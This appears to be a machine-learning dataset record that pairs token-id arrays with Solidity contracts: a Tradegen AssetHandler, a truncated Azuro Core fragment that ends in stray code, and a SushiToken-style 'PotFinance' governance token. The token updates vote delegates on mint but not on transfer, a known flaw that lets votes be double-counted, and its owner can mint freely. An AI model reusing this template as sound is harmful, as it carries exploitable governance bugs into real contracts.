[ 1, 694, 791, 3152, 18, 4259, 5903, 2549, 18, 8646, 848, 506, 15303, 4812, 358, 509, 1105, 2724, 2898, 854, 1517, 411, 404, 73, 3247, 261, 5946, 5721, 3631, 404, 73, 3247, 26057, 635, 404, 73, 29, 353, 404, 73, 3600, 18, 4238, 509, 1105, 1244, 353, 4871, 21, 73, 3657, 16, 1427, 886, 319, 93, 434, 7725, 18, 2457, 1203, 5600, 16, 2254, 1578, 353, 7494, 731, 358, 4871, 24, 73, 2138, 16, 279, 1525, 813, 628, 2037, 18, 9190, 326, 7920, 3152, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 288, 203, 203, 3639, 1947, 18, 21356, 273, 389, 21356, 31, 203, 3639, 1947, 18, 6769, 2050, 554, 43, 1814, 77, 273, 2254, 1105, 24899, 6769, 2050, 554, 342, 404, 73, 29, 1769, 203, 3639, 1947, 18, 21386, 43, 1814, 77, 273, 2254, 1105, 24899, 21386, 342, 404, 73, 29, 1769, 203, 3639, 1947, 18, 683, 554, 382, 3353, 43, 1814, 77, 273, 509, 1105, 24899, 683, 554, 382, 3353, 342, 404, 73, 29, 1769, 203, 3639, 1947, 18, 266, 724, 6450, 273, 2254, 1578, 24899, 266, 724, 6450, 1769, 203, 203, 3639, 4153, 18, 683, 554, 43, 1814, 77, 273, 1947, 18, 6769, 2050, 554, 43, 1814, 77, 31, 203, 3639, 4153, 18, 2586, 991, 273, 389, 21356, 31, 203, 3639, 4153, 18, 10001, 1768, 273, 2254, 1578, 12, 2629, 18, 2696, 1769, 203, 3639, 4153, 18, 2629, 28362, 273, 2254, 1578, 12, 2629, 18, 2696, 397, 389, 6769, 6450, 1769, 203, 203, 3639, 3626, 29386, 12, 3338, 16, 389, 6769, 6450, 1769, 203, 565, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.3; //Inheritance import "./interfaces/IAssetHandler.sol"; import './Ownable.sol'; //Interfaces import './interfaces/IPriceAggregator.sol'; import './interfaces/IAddressResolver.sol'; import './interfaces/IAssetVerifier.sol'; //Libraries import "./openzeppelin-solidity/SafeMath.sol"; contract AssetHandler is IAssetHandler, Ownable { using SafeMath for uint; IAddressResolver public ADDRESS_RESOLVER; address public stableCoinAddress; mapping (address => uint) public assetTypes; mapping (uint => address) public assetTypeToPriceAggregator; mapping (uint => uint) public numberOfAvailableAssetsForType; mapping (uint => mapping (uint => address)) public availableAssetsForType; constructor(IAddressResolver addressResolver) Ownable() { ADDRESS_RESOLVER = addressResolver; } /* ========== VIEWS ========== */ /** * @dev Given the address of an asset, returns the asset's price in USD * @param asset Address of the asset * @return uint Price of the asset in USD */ function getUSDPrice(address asset) external view override isValidAddress(asset) returns (uint) { require(assetTypes[asset] > 0, "AssetHandler: asset not supported"); return IPriceAggregator(assetTypeToPriceAggregator[assetTypes[asset]]).getUSDPrice(asset); } /** * @dev Given the address of an asset, returns whether the asset is supported on Tradegen * @param asset Address of the asset * @return bool Whether the asset is supported */ function isValidAsset(address asset) external view override isValidAddress(asset) returns (bool) { return (assetTypes[asset] > 0 || asset == stableCoinAddress); } /** * @dev Given an asset type, returns the address of each supported asset for the type * @param assetType Type of asset * @return address[] Address of each supported asset for the type */ function getAvailableAssetsForType(uint assetType) external view override returns (address[] memory) { require(assetType > 0, "AssetHandler: assetType must be greater than 0"); uint numberOfAssets = numberOfAvailableAssetsForType[assetType]; address[] memory assets = new address[](numberOfAssets); for(uint i = 0; i < numberOfAssets; i++) { assets[i] = availableAssetsForType[assetType][i]; } return assets; } /** * @dev Returns the address of the stable coin * @return address The stable coin address */ function getStableCoinAddress() external view override returns(address) { return stableCoinAddress; } /** * @dev Given the address of an asset, returns the asset's type * @param addressToCheck Address of the asset * @return uint Type of the asset */ function getAssetType(address addressToCheck) external view override isValidAddress(addressToCheck) returns (uint) { return assetTypes[addressToCheck]; } /** * @dev Returns the pool's balance of the given asset * @param pool Address of the pool * @param asset Address of the asset * @return uint Pool's balance of the asset */ function getBalance(address pool, address asset) external view override isValidAddress(pool) isValidAddress(asset) returns (uint) { address verifier = getVerifier(asset); return IAssetVerifier(verifier).getBalance(pool, asset); } /** * @dev Returns the asset's number of decimals * @param asset Address of the asset * @return uint Number of decimals */ function getDecimals(address asset) external view override isValidAddress(asset) returns (uint) { uint assetType = assetTypes[asset]; address verifier = ADDRESS_RESOLVER.assetVerifiers(assetType); return IAssetVerifier(verifier).getDecimals(asset); } /** * @dev Given the address of an asset, returns the address of the asset's verifier * @param asset Address of the asset * @return address Address of the asset's verifier */ function getVerifier(address asset) public view override isValidAddress(asset) returns (address) { uint assetType = assetTypes[asset]; return ADDRESS_RESOLVER.assetVerifiers(assetType); } /* ========== RESTRICTED FUNCTIONS ========== */ /** * @dev Sets the address of the stable coin * @param _stableCoinAddress The address of the stable coin */ function setStableCoinAddress(address _stableCoinAddress) external onlyOwner isValidAddress(_stableCoinAddress) { address oldAddress = stableCoinAddress; stableCoinAddress = _stableCoinAddress; assetTypes[_stableCoinAddress] = 1; emit UpdatedStableCoinAddress(oldAddress, _stableCoinAddress, block.timestamp); } /** * @dev Adds a new tradable currency to the platform * @param assetType Type of the asset * @param currencyKey The address of the asset to add */ function addCurrencyKey(uint assetType, address currencyKey) external onlyOwner isValidAddress(currencyKey) { require(assetType > 0, "AssetHandler: assetType must be greater than 0"); require(currencyKey != stableCoinAddress, "AssetHandler: Cannot equal stablecoin address"); require(assetTypes[currencyKey] == 0, "AssetHandler: Asset already exists"); assetTypes[currencyKey] = assetType; availableAssetsForType[assetType][numberOfAvailableAssetsForType[assetType]] = currencyKey; numberOfAvailableAssetsForType[assetType] = numberOfAvailableAssetsForType[assetType].add(1); emit AddedAsset(assetType, currencyKey, block.timestamp); } /** * @dev Removes support for a currency * @param assetType Type of the asset * @param currencyKey The address of the asset to remove */ function removeCurrencyKey(uint assetType, address currencyKey) external onlyOwner isValidAddress(currencyKey) { require(assetType > 0, "AssetHandler: assetType must be greater than 0"); require(currencyKey != stableCoinAddress, "AssetHandler: Cannot equal stablecoin address"); require(assetTypes[currencyKey] > 0, "AssetHandler: Asset not found"); uint numberOfAssets = numberOfAvailableAssetsForType[assetType]; uint index; for (index = 0; index < numberOfAssets; index++) { if (availableAssetsForType[assetType][index] == currencyKey) break; } require(index < numberOfAssets, "AssetHandler: Index out of bounds"); //Move last element to the index of currency being removed if (index < numberOfAssets) { availableAssetsForType[assetType][index] = availableAssetsForType[assetType][numberOfAssets.sub(1)]; } delete availableAssetsForType[assetType][numberOfAssets.sub(1)]; delete assetTypes[currencyKey]; numberOfAvailableAssetsForType[assetType] = numberOfAvailableAssetsForType[assetType].sub(1); emit RemovedAsset(assetType, currencyKey, block.timestamp); } /** * @dev Adds a new asset type * @param assetType Type of the asset * @param priceAggregator Address of the asset's price aggregator */ function addAssetType(uint assetType, address priceAggregator) external onlyOwner isValidAddress(priceAggregator) { require(assetType > 0, "AssetHandler: assetType must be greater than 0"); require(assetTypeToPriceAggregator[assetType] == address(0), "AssetHandler: asset type already exists"); assetTypeToPriceAggregator[assetType] = priceAggregator; emit AddedAssetType(assetType, priceAggregator, block.timestamp); } /* ========== MODIFIERS ========== */ modifier isValidAddress(address addressToCheck) { require(addressToCheck != address(0), "AssetHandler: Address is not valid"); _; } /* ========== EVENTS ========== */ event AddedAsset(uint assetType, address currencyKey, uint timestamp); event RemovedAsset(uint assetType, address currencyKey, uint timestamp); event UpdatedStableCoinAddress(address oldAddress, address stableCurrencyAddress, uint timestamp); event AddedAssetType(uint assetType, address priceAggregator, uint timestamp); }
* @dev Given the address of an asset, returns whether the asset is supported on Tradegen @param asset Address of the asset @return bool Whether the asset is supported/
function isValidAsset(address asset) external view override isValidAddress(asset) returns (bool) { return (assetTypes[asset] > 0 || asset == stableCoinAddress); }
13,075,094
[ 1, 6083, 326, 1758, 434, 392, 3310, 16, 1135, 2856, 326, 3310, 353, 3260, 603, 2197, 323, 4507, 225, 3310, 5267, 434, 326, 3310, 327, 1426, 17403, 326, 3310, 353, 3260, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4908, 6672, 12, 2867, 3310, 13, 3903, 1476, 3849, 4908, 1887, 12, 9406, 13, 1135, 261, 6430, 13, 288, 203, 3639, 327, 261, 9406, 2016, 63, 9406, 65, 405, 374, 747, 3310, 422, 14114, 27055, 1887, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/100/0xa43328ABd99ae605A87661E7fC84a0e509DE6BD0/sources/contracts/Core.sol
@title Azuro internal core register bets and create conditions oracle-oracleCondId-conditionId
contract Core is OwnableUpgradeable, ICore, Math { uint256 public lastConditionId; uint128 public defaultReinforcement; uint128 public defaultMargin; uint128 public _deprecatedStorageVar; uint128 public multiplier; uint64 public maxBanksRatio; bool public allConditionsStopped; mapping(uint256 => Condition) public conditions; mapping(address => bool) public oracles; mapping(address => bool) public maintainers; mapping(address => mapping(uint256 => uint256)) public oracleConditionIds; ILP public LP; uint64 public activeConditions; modifier onlyOracle() { if (oracles[msg.sender] == false) revert OnlyOracle(); _; } modifier onlyMaintainer() { if (maintainers[msg.sender] == false) revert OnlyMaintainer(); _; } modifier onlyLp() { if (msg.sender != address(LP)) revert OnlyLp(); _; } function initialize( uint128 reinforcement, address oracle, uint128 margin ) external virtual initializer { __Ownable_init(); oracles[oracle] = true; defaultReinforcement = reinforcement; defaultMargin = margin; maxBanksRatio = 10000; multiplier = 10**9; } return totalLockedPayout; } */
14,277,047
[ 1, 37, 94, 19321, 2713, 2922, 1744, 324, 2413, 471, 752, 4636, 20865, 17, 280, 16066, 12441, 548, 17, 4175, 548, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4586, 353, 14223, 6914, 10784, 429, 16, 467, 4670, 16, 2361, 288, 203, 565, 2254, 5034, 1071, 1142, 3418, 548, 31, 203, 203, 565, 2254, 10392, 1071, 805, 426, 267, 5734, 475, 31, 203, 565, 2254, 10392, 1071, 805, 9524, 31, 203, 377, 203, 565, 2254, 10392, 1071, 389, 14089, 3245, 1537, 31, 203, 565, 2254, 10392, 1071, 15027, 31, 203, 203, 565, 2254, 1105, 1071, 943, 16040, 87, 8541, 31, 203, 565, 1426, 1071, 777, 8545, 15294, 31, 203, 203, 203, 565, 2874, 12, 11890, 5034, 516, 7949, 13, 1071, 4636, 31, 203, 203, 565, 2874, 12, 2867, 516, 1426, 13, 1071, 578, 69, 9558, 31, 203, 565, 2874, 12, 2867, 516, 1426, 13, 1071, 11566, 8234, 31, 203, 203, 565, 2874, 12, 2867, 516, 2874, 12, 11890, 5034, 516, 2254, 5034, 3719, 1071, 20865, 3418, 2673, 31, 203, 203, 565, 467, 14461, 1071, 511, 52, 31, 203, 203, 565, 2254, 1105, 1071, 2695, 8545, 31, 203, 203, 203, 565, 9606, 1338, 23601, 1435, 288, 203, 3639, 309, 261, 10610, 9558, 63, 3576, 18, 15330, 65, 422, 629, 13, 15226, 5098, 23601, 5621, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 9606, 1338, 49, 1598, 1521, 1435, 288, 203, 3639, 309, 261, 81, 1598, 8234, 63, 3576, 18, 15330, 65, 422, 629, 13, 15226, 5098, 49, 1598, 1521, 5621, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 9606, 1338, 48, 84, 1435, 288, 203, 3639, 309, 261, 3576, 18, 15330, 480, 1758, 12, 14461, 3719, 15226, 5098, 48, 2 ]
/** *Submitted for verification at Etherscan.io on 2020-09-09 */ /** *Submitted for verification at Etherscan.io */ pragma solidity ^0.6.5; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Apply to etherscan for verify September 2020. */ pragma solidity ^0.6.5; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.5; library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.5; contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity ^0.6.5; contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity 0.6.5; // PotFinance with Governance. contract PotFinance is ERC20("PotFinance", "yPOT"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (ChefTang). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "yPOT::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "yPOT::delegateBySig: invalid nonce"); require(now <= expiry, "yPOT::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "yPOT::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying yPOTs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "yPOT::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
